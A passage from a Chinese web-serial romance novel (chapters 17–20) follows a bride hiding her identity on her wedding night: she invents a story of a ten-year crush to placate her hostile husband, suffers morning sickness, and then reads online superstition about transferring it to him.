“阿越,你等等我?”林舒薇的腿脚不方便,费了好大的劲儿才追上他。 周时越听到她的声音,还是不自觉的停了脚步,看向她的时候眼神温柔,声音能滴得出水来,“里面太闷了,出来透透气,怎么还跑出来,脚是不是又痛了?” 林舒薇摇了摇头,挽住了他的胳膊,“不疼。” “薇薇,在我面前你不用刻意伪装。”周时越揉了揉她的脑袋。 “我想回家。”林舒薇有些委屈的声音响了起来。 周时越没有任何犹豫,熟练的蹲在了她面前,“我背你回去。” 林舒薇愣了两秒,心底升起一股前所未有的恐惧感。 他们在一起两年,周时越从来没有背过她。 一般都是公主抱。 可今天他的动作那么熟练,不会是……想到什么了吧? 女人的第六感告诉她,他不对劲。 特别是今天,岑予衿出场时,他的视线像是粘在了她身上,她真怕他突然恢复记忆。 “好。”林舒薇趴在了他的背上,声音委屈,“岑小姐,穿裙子的样子真漂亮。” 周时越脑子里立刻浮现出了岑予衿穿着龙凤褂出场的画面。 确实…… “是吗?我没注意。” “那好可惜。”林舒薇声音里是止不住的惋惜,“不像我这辈子都穿不了好看的裙子啦。” 她的腿因为就他伤的很严重,腿上留了一大块疤,走路走快一些,就会有点跛,不是很明显,但那以后她就再没穿过裙子。 “对不起。” “这有什么好对不起的,救你是我自愿的,更何况我的腿虽然不完美了,但我有了个完美的老公~我开心都来不及呢,我们要一直一直在一起。”林舒薇紧紧的抱住了他的脖子,语气里满是幸福。 【虽然这个世界没有善待我,但是我有一个完美的老公,我们会一直一直在一起~】 【阿越我好幸福,我要穿最漂亮的婚纱,以最好的状态嫁给你。】 【阿越~你要早点回来,我在A市等你。】 一个熟悉的声音突然浮现在自己的脑海中。 周时越不自觉的停下了脚步,那个声音似乎是岑予衿的。 他缓缓转身,就见一个穿着中式嫁衣,盖着红盖头的身影,被人搀扶着往他相反的方向离开。 心脏抽痛的同时,眼泪顺着脸颊滑落。 他自己都不知道究竟是怎么回事儿。 他应该讨厌岑予衿,她挑拨他们之间的关系。 她还对舒薇动手了! 可看到她嫁人,他的心为什么会那么不舒服? 就算不嫁给陆京洲,她也要嫁给张德海。 “阿越……你怎么了?是不是哪里不舒服?” 林舒薇的声音把他拉回了现实。 “薇薇,咱们去领证吧,明天就去好不好?”周时越低着头,背着她一步一步往外走。 虽然他们在国外领过证,可……他不想让她没有安全感,国内的也要尽快提上日程。 他会这么说林舒薇有些意外,用力的点了点头,趴在他的肩上,“好。” 另一边的岑予衿也停下了脚步,转身想要掀开盖头,被一旁的喜娘阻止了,“陆太太,这红盖头得二少爷掀开,不然不吉利。” “好。”岑予衿只能妥协,收回了自己的手,被喜娘搀扶着进了新房。 “陆太太,这盖头可千万不能自己揭开。”喜娘临出门时还在不断的提醒。 “我知道了,放心吧,绝对不揭开红盖头。”岑予衿乖乖应下。 头上的凤冠实在是太重了。 再加上盖着的红盖头,脖子酸的要命。 她只能伸手揉着缓解。 她都不知道该怎么面对陆京洲,夜深人静的时候,他会不会抬手把她掐死。 应该不会吧? 都说虎毒不食子。 她还怀着他的孩子,他不会这么绝情。 可是他又不是老虎,他是人,还是个臭名昭著的大坏人。 岑予衿不知道等了多久,又累又困,肚子已经饿的咕咕叫了。 她知道陆京洲是故意的。 但这条路是她自己选的,哪怕是爬她也要自己爬完。 陆京洲嫌弃她,一辈子不进房间更好,省的自己担惊受怕的。 岑予衿实在是饿的不行,仔细的听了一下房间外头的动静确定只有她一个人之后小心翼翼的掀开了红盖头。 房间里铺天盖地的红晃得人眼花——大红的龙凤喜被叠得方方正正,窗棂上贴着烫金的“囍”字,连桌椅扶手上都缠了红绸,空气里飘着淡淡的熏香和糕点的甜腻气息,喜庆得有些晃眼。 说是纯中式,还真是纯中式。 她摸了摸饿得发瘪的肚子,白天忙着做妆造,下午忙着仪式,压根没吃什么东西,此刻五脏六腑都在叫嚣着抗议。 哪怕是她熬得住,肚子里的宝宝也熬不住啊。 岑予衿目光扫过床头矮几,摆着一碟精致的桂花糕和一碟玫瑰酥,油光锃亮的,看着就诱人。 岑予衿蹑手蹑脚地挪过去,像只偷食的小松鼠,飞快抓起一块桂花糕塞进嘴里。 甜糯的糕体裹着桂花的清香,入口即化,她忍不住眯起眼睛,又伸手去够另一块玫瑰酥。 刚咬下一口,门外突然传来轻微的脚步声,吓得她手一哆嗦,糕点碎屑掉在了衣襟上。 她瞬间僵住,屏住呼吸看向门口,心脏砰砰直跳。 喜娘的叮嘱还在耳边回响,可陆京洲这大半夜都不回房,总不能让她饿着肚子硬等吧? 脚步声越来越近,她有点怂,抓起红盖头往头上一罩,胡乱拢了拢,又坐回床沿,装作什么都没发生的样子。 只是嘴角还沾着点糕粉,腮帮子因为含着食物微微鼓起,像只小仓鼠似的。 陆京洲和兄弟们的交谈声从外边响了起来,“陆哥,婚礼上就没让兄弟们看新娘,这会儿兄弟们可是要闹洞房的!” 陆京洲本就烦躁,听他这么一说,脸立刻冷了下来,丝毫没给那人好脸色,“有多远滚多远!” 听着他的语气,那人讪讪闭了嘴。 脚步声离去。 外头好像还剩着两个人。 “阿洲,你怎么突然决定娶那个丑八怪了?老太太逼你了。” 老太太要是不逼他,他能娶个丑八怪加小流氓? “知道还问!”陆京洲心情显然不太好。 “反正看着碍眼,要不咱们去皇都喝酒吧。” 陆京洲轻笑了一声,笑程凌晟太天真。 檀月山庄没到手就放飞自我,他所做的牺牲都白费。 更何况……想弄死里面那女人的心已经越来越浓,他一分钟都不想等了! “洞房花烛夜,一刻值千金!怎么能让周小姐一直等着呢?” 听着他说话的语气,程凌晟只觉得脖子凉飕飕的,心里替她点了柱香,尴尬的笑了笑,“那我祝你新婚快乐嗷!” 说完转身就走。 陆京洲看人都走完了,这才推开了房门。 第17章 惊艳的周芙笙 陆京洲踩着戾气十足的步子往里闯,黑色皮鞋碾得地面咯吱响。 他一边活动手腕,指节咔咔作响,一边仰头扭着脖颈,颈侧青筋突突跳,那架势像是要把眼前的人拆骨剥皮。 “丑八怪,这么乖呢?说不让把盖头取下来就真的不取?” 他嗤笑一声,语气淬着冰,“别以为装乖就有用?我告诉你,今天就算是天王老子来,也救不了你这个碍眼的东西!” 陆京洲一步步靠近,声音也愈发冷冽,“敢爬老子的床,敢扑老子,敢用孩子上位,敢拿老子当冤大头,周二小姐可真是能耐了。” 岑予衿想回答他,可嘴巴里的还有没咽下去的玫瑰酥,有点噎着了。 她不说话,显然又精准的踩中了陆京洲的雷点,他更生气了,“一句话都不说,难不成是个丑八怪就算了,还是个哑巴?” “不是……嗝~” 一个嗝,把两个人都干沉默了。 陆京洲:“……” 岑予衿:“……” 陆京洲忍无可忍,他在跟她说话,他居然敢偷吃东西。 他猛地伸手,带着十足的厌恶,一把将那绣着的红盖头狠狠掀飞! 盖头飘然落地。 预想中满脸麻子加龅牙,令人作呕的脸并没有出现。 取而代之的是一张惊艳到没边的小脸。 烛光摇曳,映照着那张白皙胜雪、眉眼如画的容颜。 硕大的奢华凤冠下,那双杏眸清澈含水,因受惊而微微睁大,挺翘的鼻梁下,樱唇边还沾着一点未来得及擦掉的糕粉,腮帮子微微鼓起,像只小仓鼠似的,平添了几分娇憨。 尤其是那双眼睛,此刻正带着受惊的小鹿般的惶恐,湿漉漉地望着他,澄澈又勾人。 陆京洲周身那骇人的戾气骤然一滞,准备掐死她的动作僵在半空,深邃的眼底闪过一丝猝不及防的惊艳与错愕。 所有的刻薄的话都堵在了舌尖。 乖! 不是装乖,是真乖。 一眼就能激起人的保护欲。 这么漂亮的人,要许配给60岁带着老人味儿的死老头,简直暴殄天物! 他记起来了,前几天不要命冲他怀里的也是她。 岑予衿被他眼底瞬间翻涌的复杂情绪惊得心尖一颤,强自镇定地将口中残余的糕点咽下,细微的喉头滚动在寂静的新房里格外清晰。 她垂下眼睫,避开他审视的目光,声音带着一丝不易察觉的颤抖,“对不起,我实在是太饿了,绝对没有不尊重你的意思。” 陆京洲往后退了半步,仔细打量着面前的人。 程凌晟那个听风就是雨的傻逼。 这叫丑八怪? 这叫身高158,体重180,满脸麻子加龅牙! 难不成……她不是周芙笙?被掉包了。 不论如何…… 他不得不承认,这个周芙笙是真有几分姿色。 不对……自己已经完全被她这张脸带偏了。 重要的是她长得好不好看吗? 显然不是! 她长得漂亮,但她人品不好,哪有见着男人就生扑的。 还用孩子上,逼着奶奶让他娶她! 果然人不可貌相。 “你真是周芙笙?” 岑予衿点了点头,“是。” “那怎么和传闻中长得一点也不一样?” 之所以会传的那么离谱,是周时越和林舒薇刻意散播的。 当然她才不会这么告诉他。 岑予衿一点没放过拍马屁的机会,眼里满是崇拜,“陆二少,也和传闻中一点不一样,是我见过这个世界上最帅的男人。” 陆京洲眸色一沉,显然不吃这套恭维。 他逼近一步,周身寒气凛冽,“少给我转移话题,老子不吃这套。说,那天晚上为什么要爬我的床?为什么要扑我。” 岑予衿被他吓得往后缩了缩,眼眶瞬间就红了,声音带着细微的哽咽,“我……我不是故意的……” 她抬起湿漉漉的眼睛,怯生生地望着他,“那天……那天有10多个混混追我,我不小心才躲进了你的房间……” 有些话真假参半,才更显得有真实性。 “10多个混混追你,你顺利躲到了我的房间?”陆京洲冷笑,“那可真是好巧呢,周二小姐?” “这是真的,不信你可以去查走廊监控。”岑予衿的声音越来越小,手指不安地绞着衣角,“我进房间之后是你主动贴上来的。我本来是想推开,可在看到是你难受的样子之后……没舍得让你难受,才主动的。” 陆京洲被她这……我真的只是为了你好的模样气笑了,“这么说来,我还得感谢你了。 岑予衿委屈的吸了吸鼻子,“我才不用你感谢。那天晚上的你浑身发烫,额头上全是汗,嘴里还低声哼着……” 她脸颊泛起红晕,不好意思地低下头,“我知道男女授受不亲,可你是我的crush啊,我见不得你那么难受……我只是想帮你,没有别的意思……” 说到这里,她肩膀微微颤抖,哭得更凶了,“我从来没想过要用孩子逼你负责,更没想过要爬你的床,逼你娶我。知道怀孕了,我也很害怕。想了很久,虽然舍不得宝宝,但我也不想拖累你,打算去医院把孩子打了。” “不知道为什么老夫人突然就闯进了手术室,还说我怀了你的孩子,必须要跟你结婚。” “事情变成这样,我也很害怕……可我真的喜欢你,喜欢了整整十年啊,我确实存了私心,以我的家世这辈子都无法靠近你。” 她抬起泪汪汪的眼睛,湿漉漉地望着他,像只被抛弃的小兽,“如果你实在不相信,如果你真的那么讨厌我,那我可以走,我带着孩子一个人过,绝对不会再打扰你……” 陆京洲明显一怔,眉头皱得更紧。 暗恋? 还暗恋10年! 他妈的! 面前这个女人,简直就是小骗子。 编故事的能力真是一绝啊! 陆京洲在不远处的沙发上坐,双腿微微交叠,玩味儿的看着她,“暗恋10年,行你倒是说说,怎么个暗恋法,周小姐。” 岑予衿显然没预料到他会这么问,心里咯噔了一下。 在他玩味的目光中缓缓起身,拿起桌上的杯子倒了一小杯,咕嘟咕嘟的喝掉。 呜呜呜! 太干了,差点没把她噎死。 喝完之后,乖乖回到了床上坐好。 陆京洲嗤笑一声,“怎么?暗恋文学又酸又涩,说不明白了?” 第18章 岑予衿:我真暗恋你10年 岑予衿深吸一口气,像是鼓足了勇气,抬眸直视他,“十年前,在京市一中……你比我大两届。那天下午突然下暴雨,我没带伞,躲在教学楼门口……是你路过时,把手里那把黑色的长柄雨伞丢给了我。” 她眼神里带着追忆的朦胧,“你什么都没说,甚至没多看我一眼,把伞塞进我手里就走了,自己淋着雨跑向了校门口停着的车。” 陆京洲听完,眉梢微挑,眼底的玩味更深,甚至带了几分毫不掩饰的讥诮,“就这?一把伞?” 他嗤笑一声,“周小姐,编故事也请用点心思。这种烂俗的校园暗恋桥段,我听得耳朵都快起茧了。何况……” 他语气斩钉截铁,“我根本不记得有这回事。” “我知道你不记得。”岑予衿轻声说,并没有因为他的否定而激动,反而流露出一种“果然如此”的淡淡失落,“对你来说,可能只是随手做的一件小事,甚至不值得一提。但对我来说,那天……很特别。” 她微微垂下眼睫,声音很轻,却带着一种奇异的穿透力,落在寂静的新房里,“那把黑色的伞,伞骨很结实,伞柄是木质的,上面……刻了一个很小的字母‘Z’。” 正准备点烟的陆京洲动作猛地一顿。 打火机的火苗跳跃了一下,映照出他眼底一闪而过的愕然。 他确实有过那样一把伞,是已故的母亲送的,伞柄上确实刻了他名字最后一个字“洲”的拼音首字母“Z”。 那把伞在他高二那年弄丢了,他还为此郁闷过一阵。 看着他细微的反应,岑予衿心中稍定,继续用那种柔软的、带着回忆的语调说道,“那天之后,我开始偷偷关注你。我知道你是高三(1)班的陆京洲,知道你打篮球很厉害,每次决赛都会有很多女生去围观加油。” “那把伞呢?”陆京洲眯着眼问道。 “在周家,我没舍得用,真的有好好保存。” 岑予衿这会只能睁着眼睛说瞎话。 她调查过,知道陆京洲宝贝那把雨伞宝贝的要命。 后来雨伞不见了之后,他还找了很长时间,这件事情闹得沸沸扬扬的,她还有些印象。 至于什么送伞的故事,都是她瞎编的。 陆京洲:“行,记得取回来还给我。” 岑予衿真是挖坑给自己跳,跳了还把自己给埋了,“好……没问题。” “继续。”陆京洲像是听她编故事,听上瘾了,还让她继续。 岑予衿的心咯噔了一下又一下。 心跳漏了一拍,但面上依旧维持着那副陷入回忆的柔软模样。 她轻轻吸了口气,眼神飘向远处,仿佛穿透了时光。 “后来……我最后一次在学校外面见到你,是7月30号,在学校后街那家叫‘蓝鱼’的网吧。” 她声音放缓,带着一丝不易察觉的怀念,“你坐在角落里,用的那台电脑看起来很旧了,键盘都有些磨损。但你好像一点都不在意,手指在键盘上敲得飞快。” 她适时地露出一点崇拜的神色,真切而自然,“我偷偷站在你身后看了一会儿,你看的是满屏密密麻麻的代码,那些符号我完全看不懂,可你操作起来那么熟练,好像……好像那些复杂的指令都会听你的话一样。我当时就在想,你怎么能这么厉害……” 说到这里,她语气低落下去,带着少女心事无疾而终的怅惘,“再后来,我再也没有在学校里见过你,最后听说你出国了。京北关于你的消息一下子就少了,我……我也就把那份心思悄悄藏起来了,没敢再打扰。” 她抬起眼眸,勇敢地看向他,带着点破釜沉舟的坦诚,“所以那天晚上在酒店,我一眼就认出是你,又看到你那么难受……我承认,我存了私心。 我喜欢了那么久的人就在眼前,我没办法眼睁睁看着不管……我知道我这样做很傻,也很让你看不起,但这就是全部真相了。” 陆京洲静静听着,指尖的烟缓缓燃烧,灰白的烟灰簌簌落下。 他脸上没什么表情,让人猜不透他是否相信了这番说辞。 10年前的7月30,是他被送出国那天这些细节全都对得上。 难不成她真暗恋已久。 可是……他是真的不记得有这么一个人了。 岑予衿说完这番话,房间里陷入一片沉寂。 她低垂着头,肩膀微微颤抖,仿佛还沉浸在暗恋无果的悲伤与嫁入陆家的惶恐中。 陆京洲只是沉默地看着她,指尖的烟燃到了尽头,烫了他一下,他才恍然回神,将烟蒂摁灭在烟灰缸里。 正当他准备开口说些什么时—— “咕噜噜……” 一阵清晰而绵长的肠鸣音,突兀地在寂静的新房里响起。 岑予衿酝酿好的悲伤情绪瞬间僵在脸上,她下意识地捂住了自己的肚子,脸颊“唰”地一下红透了,连耳尖都染上了绯色。 她窘迫得恨不得找个地缝钻进去,头垂得更低了,“对、对不起……我……我一天没怎么吃东西了……” 先前为了演戏而泛红的眼圈此刻因为真实的羞窘显得更加湿润,长睫上还挂着未干的泪珠,配上她捂着肚子无地自容的模样,看起来可怜又好笑。 陆京洲到了嘴边的话硬生生咽了回去,一种极其荒谬的感觉涌上心头。 他盯了她几秒,忽然嗤笑出声,带着点说不清道不明的意味,“周芙笙,你倒是……很会破坏气氛。” 他站起身,走到桌边,看了一眼桌上那碟被她动过的糕点,又瞥了一眼床上那个恨不得把自己缩成一团的人,语气听不出喜怒,“饿了就吃,陆家还不至于在新婚夜饿死新娶的太太。” 第19章 你……你今天晚上可不可以不要走? 陆京洲随意的将自己身上的外套脱了丢在沙发上。 转身往浴室的方向走。 见他已经进去了,岑予衿才微微松了口气。 也不知道刚才瞎编的那些,他相信了没有? 但是这些真的不重要,今天晚上这条小命算是保住了。 不过……那伞怎么办? 要是拿不出一把一模一样的肯定就露馅了。 现在盖头已经掀了,她终于可以把头上的凤冠卸掉了。 岑予衿歪头看了一下浴室的动静,确定人已经开始洗澡了,才小心翼翼的挪到梳妆台前。 看着镜子里的自己还觉得有点不太真实。 她居然结婚了,新郎不是周时越。 其实挺遗憾的,爸爸妈妈都没有看到她结婚时候的样子。 岑予衿垂下了眸子,苦笑了一下,反正也不是真的结婚,一年后的离婚协议已经签了。 一年后他们要离婚的。 岑予衿抬手把固定的小夹子取下来,随后把那顶快将她脖子压断的纯金加镶嵌着宝石的凤冠取了下来。 抬手揉了揉酸的不行的脖子。 迅速换了衣服。 这嫁衣好看是好看,就是穿着太难受了,还是大红色的真丝睡衣舒服。 岑予衿也不敢跑出去,外面都是人。 这初来乍到的,怕坏了陆家的规矩。 只能端着那两小碟糕点放在桌子上,就着水小口小口的吃着。 可糕点的分量本来就小,她根本吃不饱。 岑予衿已经开始怀念上个月在周家的日子了。 周家那几个厨师做的饭真好吃。 她想吃什么样的就有什么样的。 “咔哒~”一声,浴室的门被打开,氤氲的水汽弥漫开来。 陆京洲身上穿着她同款的大红色睡衣,擦着半干的头发,领口大敞,露出线条分明的锁骨以及健硕饱满的胸肌。 他抬眼,便看见她正背对着他,坐在桌前。 身上那繁复的嫁衣已经被换下,只穿着简单的红色真丝睡衣,衬得脖颈纤细白皙。 微微弓着背,小口小口地吃着手里最后半块糕点。 听到动静,她猛地回头,嘴角还沾着一点点糕点屑,那双湿漉漉的眼睛里带着来不及掩饰的惊慌和无措,看起来又乖又无辜。 陆京洲擦头发的动作顿了顿,视线扫过桌上那两个已经空了的碟子,眉峰微不可察地动了一下。 就这点东西,显然不足以填饱肚子。 他没说话,径直走到内线电话旁,拿起听筒,按了几个键,语气平淡地吩咐“送些吃的上来。” 岑予衿已经看呆了。 勾人! 陆京洲像男妖精一样勾人。 岑予衿的视线不自觉的被他吸引了过去。 视线就这么随着他脸颊滑落的水滴,没入胸膛。 性感到没边儿了! 岑予衿捏着糕点的手指微微收紧,有些讶异地看向他。 一听他说让人送东西上来,眼睛明显就亮了。 她真是饿的不行了,现在的她毫不夸张的说能吃得下一头牛。 陆京洲没在看她,挂断电话,随意的将那张毛巾丢在了沙发边缘。 自己则是走到她对面的沙发上坐了下来,长腿交叠。 房间里再次陷入了诡异的沉默。 岑予衿小口小口的喝着水,缓解自己的尴尬。 很快门被扣响。 佣人推着餐车进来,迅速的将几道冒着热气的菜摆在面前。 一碗熬的晶莹剔透的米粥,清炒时蔬,糖醋小排,刚出炉的烤鸭,还有一个清蒸鲈鱼。 分量都不多,但造型精致。 食物的香气在房间里迅速弥漫开。 岑予衿食欲大动,也顾不得陆京洲捧起那小碗粥就开始吃。 吃了两口才发现,自己现在的人设是爱他爱到无法自拔的女人,甚至暗恋10年。 此刻……有点崩人设了。 立刻找补,“你吃了吗?要不要跟我吃点?” 陆京洲看着她那明显护食的模样,不想吃,“吃你的吧!跟饿死鬼投胎似的。” 岑予衿:“……” 嘴巴用得着这么毒吗? 一天没吃饭了,再加上她怀孕之后就是能吃了一些。 见他真没有要吃的意思,她也不再自讨没趣,自己大快朵颐。 刚夹了一筷子清蒸鲈鱼放到嘴里。 一股难以抑制的反胃感突然涌了上来。 岑予衿原本因为看到美食而发光的眼神,在尝到那鱼的瞬间猛地一变。 脸色骤然发白,下意识地用手紧紧捂住了嘴,另一只手撑住桌沿,纤细的脊背不受控制地弓起,剧烈地干呕起来,“呕……” 突如其来的变故让房间内的空气一凝。 陆京洲转过头,锐利的目光落在她瞬间失去血色的脸上眉头几不可察地蹙起。 有人下毒? 她嫁进来的第一天,就有人敢在她的饭菜里下毒。 是陆家的人太不把他放在眼里。 还是周芙笙的人品实在是太差,差到这么快就被人盯上了? “别吃了!我送你去医院,别第一天就毒死在我房间里,晦气。” 陆京洲缓缓起身,想要抱她出去。 岑予衿摇头拒绝,阻止他的靠近。 她呕得眼泪都冒了出来,胃里翻江倒海,根本顾不上其他,只觉得那鱼腥味无孔不入,让她难受得快要晕过去。 “对……对不起……不是下毒。”她艰难地喘息着,试图道歉,声音因为呕吐而带着哽咽,“鱼太腥了,我孕反,才吐的。” 陆京洲盯着她愣了几秒,眼神深沉难辨。 他怎么也没想到会是这个原因。 陆京洲有些无语,忽然起身,大步走到桌边,看也没看那盘鱼。 直接伸手将那盘清蒸鲈鱼连同下面的骨碟一起端走,快步走到窗边,毫不犹豫地推开窗户,将整盘鱼连同盘子一起扔了出去! “砰”的一声轻响从楼下传来,在寂静的夜里格外清晰。 他动作利落地关紧窗户,隔绝了外面可能传来的气味和声响,然后拿起内线电话,语气冷硬地吩咐,“以后别墅内,禁止出现任何鱼类,把空气净化器打开,你们二少奶奶要是出了点什么意外,看老太太会不会扒了你们的皮?” 做完这一切,他才重新看向依旧捂着胸口、微微喘息、脸色苍白的岑予衿。 有点可怜。 岑予衿已经没有了吃东西的欲望了。 起身朝着浴室的方向走去,她要去漱口,要去洗澡,卸妆。 洗完澡出来,刚好看到陆京洲往外走。 心里咯噔了一下。 老太太是给她下过KPI的,今天晚上必须要让陆京洲待在她的房间里。 哪怕她怀着孕,什么也做不了,他也得待在房间。 她要靠着陆老太太拿回岑氏,就必须乖乖听她的话。 所以……她得求陆京洲。 岑予衿看着陆京洲伸手去拉房门把手的背影,心头一紧,也顾不得嘴里残留的不适和浑身的疲惫。 快走两步,下意识就伸手拽住了他睡衣的袖口。 “等等!”她的声音带着刚沐浴后的湿润和一丝不易察觉的恳求。 陆京洲脚步顿住,回头看她,眼神里没什么温度,视线从她焦急的脸庞滑落到她拽着自己袖口的手指上。 那眼神让岑予衿觉得指尖有些发烫,但她不敢松开,生怕人跑了。 “还有事?”他语气冷漠疏离。 岑予衿抿了抿唇,长睫微垂,遮住眼底的真实情绪,再抬眼时,努力挤出一个柔软又带着点难为情的笑容,声音放得很轻,“你……你能不能今晚别去别的房间?” 她顿了顿,按照早就打好的腹稿,搬出了老太太这面大旗,语气带着恰到好处的忐忑和依赖,“今天是我们的新婚夜,外面那么多双眼睛看着……你要是刚进来就出去,传到奶奶耳朵里,我怕……我怕奶奶会不高兴,会觉得我不懂事,没照顾好你。” 她微微仰着头,露出纤细脆弱的脖颈,配合着刚吐完还有些苍白的脸色,显得楚楚可怜,“我知道我们之间……但至少今晚,你能不能留下来?就算……就算是为了让奶奶安心。” 陆京洲深邃的目光在她脸上停留了几秒,那双锐利的眼睛仿佛能看穿她所有的伪装。 他嘴角勾起一抹似笑非笑的弧度,带着点嘲弄,“为了奶奶安心?” 岑予衿被他看得心慌,硬着头皮点头,拽着他袖口的手指又收紧了些,指尖泛白。 短暂的沉默在两人之间蔓延,空气仿佛都凝滞了。 就在岑予衿以为他会毫不留情地甩开她的手时,陆京洲却忽然嗤笑一声,抽回了自己的袖子。 并没有转身离开,而是反身走回了房间,径直走向那张宽敞的大床,在靠外的一侧随意地躺了下来。 甚至拿起了放在床头柜上的平板,姿态慵懒,仿佛刚才要离开的人不是他。 “行啊,”他头也没抬,手指在屏幕上滑动着,语气漫不经心,“如你所愿。” 说实话,他今天晚上压根就不能离开这个房间,要是离开了老太太也会把他压回来。 他只是想去院子里透透气再回来。 岑予衿愣在原地,有些不敢相信他就这么轻易地留下了。 “还不过来睡觉?”陆京洲的声音再次响起,带着点不耐烦,“还是你想站在那里当一晚上门神?” 岑予衿这才回过神,连忙应了一声,小心翼翼地走到床的另一侧。 看着床上那道挺拔的身影,她犹豫了一下,最终还是掀开被子,在离他最远的床沿边躺了下来,身体僵硬,根本不敢动弹。 柔软的床垫因她的动作微微下陷,属于另一个人的体温和气息若有若无地传来,让她心跳如雷。 房间里只剩下平板电脑屏幕发出的微弱光芒,以及两人清浅交错的呼吸声。 她背对着他,紧紧闭着眼睛,却毫无睡意。 第20章 猛踩陆京洲的拖鞋 她还没什么动静呢,陆京洲突然关了平板。 把平板狠狠的砸在了床上。 岑予衿被吓了一大跳,一骨碌的从床上爬了起来,跪坐着看他,“你……你怎么了?是睡着不舒服吗?” 陆京洲没说话,就这么静静的看着她。 岑予衿都害怕他听见自己如擂鼓般的心跳。 “你要是觉得跟我睡着不舒服,我去睡沙发……” 你别用这种眼神看着我,我害怕。 这话……更是不敢说。 陆京洲起身,去柜子里翻了一床被子,叠成一条,把被子放在了两人中间,隔成了楚河汉界。 岑予衿真是被他吓死了。 不过……他这是什么意思? 这是觉得自己会对他下手! 她还不至于这么饥渴难耐。 更何况她肚子里还有小宝宝呢。 躲他还来不及,又怎么可能会生扑了他。 陆京洲恶狠狠的指着面前的被子,“楚河汉界,你不许过界,哪里过界我就砍哪里。” 岑予衿看着横亘在两人中间那床叠得整整齐齐的“城墙”,先是愣了一下,随即反应过来,连忙举起三根手指,一脸认真地保证,“你放心!我绝对不过界!我睡觉很老实的,真的!” 她生怕他不信,还往里缩了缩,几乎要贴到另一侧的床沿,用实际行动表明自己的“安分守己”。 陆京洲闻言,嗤笑一声,重新躺下,侧过头,幽深的目光带着毫不掩饰的讥诮落在她脸上。 “你保证?”他语调微扬,充满了不信任,“周芙笙,你有‘前科’,你说的话,我一个字都不信。” “前科?”岑予衿一时没反应过来,眨着眼睛,有些茫然地看着他。 陆京洲眼神锐利如刀,一字一句地提醒她,带着点咬牙切齿的意味,“酒店那晚,是你先主动的,难不成把我吃干抹净之后就忘了?” 岑予衿:“……” 陆京洲继续,“还有大马路上,你没有半分犹豫,就扑进了我怀里,程凌晟也站在我旁边,你怎么就光扑我不扑他?” 岑予衿:“……” 她承认第一次是她主动的。 可第二次真怨不得她,那时候她压根就没看清楚。 想着死马当活马医,把他当成一根救命稻草,压根没想那么多。 没想到这男人倒是挺会脑补的。 岑予衿将计就计,“我又不喜欢他,我才不要靠近他,而且我压根就没看到他。” 那么活生生一个大男人,她居然看不到。 那她这句话的意思不就是,我喜欢你,所以我的眼里只有你! 艹! 这乖乖小兔子太会说话了。 陆京洲的心跳都不自觉的漏了一拍。 “你最好说到做到,要不然别怪我把你丢出去。” 岑予衿重重的点头,用被子捂住自己的头,一点缝隙都不露出来。 等听到旁边的动静,才有了新动作,小心翼翼的伸出手,把床头柜上的手机摸进了被子里。 她前段时间都没有孕反。 怎么今天晚上突然就开始孕反了呢? 也不知道孕反会持续多久? 她这第一次怀孕什么也不懂。 还是查一下比较好,要是延续的时间长,得看看有没有什么缓解的好办法。 要是……影响了她的节奏就不好了。 她要趁着这个孕期,把该夺回来的全部夺回来。 替岑家洗刷冤屈,拿回本该属于自己的东西。 被子底下形成了一个狭小密闭的空间,只有手机屏幕散发出的幽幽光芒,映照着岑予衿略显苍白的脸。 她屏住呼吸,指尖在屏幕上飞快地滑动,搜索着关于孕早期反应的信息。 【孕吐通常从怀孕第6周左右开始……可能持续到第12周甚至更久……个人体质不同,有些孕妇甚至整个孕期都会孕反。】 【缓解方法:少食多餐,避免油腻、刺激性气味……】 【严重者需就医……】 看到“持续到第12周甚至更久”这几个字,岑予衿的心猛地一沉。 这意味着在相当长的一段时间里,她都可能像今晚这样,因为某些气味或食物而突然失控。 她必须更加小心,尽快熟悉陆家的饮食和生活习惯,避免随时孕反,让自己的处境更危险。 同时,也要加快自己的计划…… 正凝神思索间,身旁的男人突然翻了个身。 岑予衿吓得手一抖,手机差点滑落,赶紧按熄屏幕,整个人僵在被子里,连呼吸都停滞了,心脏在胸腔里狂跳,生怕那细微的光亮或是动静引起他的注意。 好在陆京洲似乎只是调整睡姿,并没有进一步的举动。 耳边传来他均匀绵长的呼吸声,似乎睡着了。 岑予衿暗暗松了口气,慢慢从被子里探出头来,贪婪地呼吸着新鲜空气。 房间里只留了一盏昏暗的睡眠灯,柔和的光线勾勒出陆京洲背对着她的轮廓,中间那床“楚河汉界”的被子在黑暗中显得格外分明。 她侧躺着,目光越过那道“边界”,落在他宽阔的脊背上,心情复杂难言。 他们婚后她应该也是住在这儿。 她要应付的可多了。 陆家还有老太太,陆京洲的父亲陆鹤松,陆京洲的后妈也是他的小姨,还有一个同父同母的大哥,以及同父异母的弟弟。 就他10多岁就被送出国来看,和家里人的关系应该不是很好。 陆京洲也不喜欢她,是被逼娶她的,根本就不可能帮她。 她只能靠自己了。 岑予衿透完气,又缩回了被子里,继续看如何缓解孕反。 底下的回答都还挺正常的。 【饮食调整:】 1.尝试苏打饼干、全麦面包等干性食物,晨起前先吃几片。 2.避免辛辣、油腻及气味强烈的食物。 3.随身携带柠檬糖或姜糖,恶心时含服。 4.少量多次饮用柠檬水或淡姜水。 【生活建议:】 1.保证充足睡眠,避免疲劳。 2.穿着宽松舒适衣物,避免腹部受压。 3.保持室内空气流通,远离油烟等刺激性气味。 4·可通过听音乐、散步等方式转移注意力。 这些办法也不知道有没有用,但看起来挺正常的。 直到她看到了,邪修两个字,眼睛立马就亮了。 【姐妹们,特别是新婚夜,刷到这条视频的可有福了!】 岑予衿的兴趣一下子就被勾了起来。 视频的内容还在继续,【新婚夜踩新郎的鞋子,可以把孕反都转移到他身上。亲测有用哦。】 这条视频底下有很多评论,【真的亲测有用,我也是刷到了个视频,新婚那天晚上踩了一下,真的是,一点感觉都没有。】 【我那天晚上摸黑起来上厕所,不小心穿了我老公的鞋子,整个孕期一点孕反都没有,反倒是我老公吐的昏天黑地的。】 看到这条视频和底下清一色的“亲测有效”,岑予衿的心跳不由得加快了。 虽然知道这听起来荒谬至极,毫无科学依据,但……万一呢? 万一真的有用呢? 她现在的情况,任何一根稻草都想要抓住。 她悄悄从被窝边缘探出眼睛,确认陆京洲依旧背对着她,呼吸平稳,似乎睡得很沉。 黑暗中,她的目光精准地锁定了床尾地毯上,陆京洲随意脱下的那双男士拖鞋。 心脏在胸腔里擂鼓般敲响。 她深吸一口气,极力压制着内心的紧张和一丝荒谬感,像只小心翼翼的小猫,一点点掀开被子,赤着脚,踩在冰凉的地板上。 每一步都轻得几乎听不见声音。 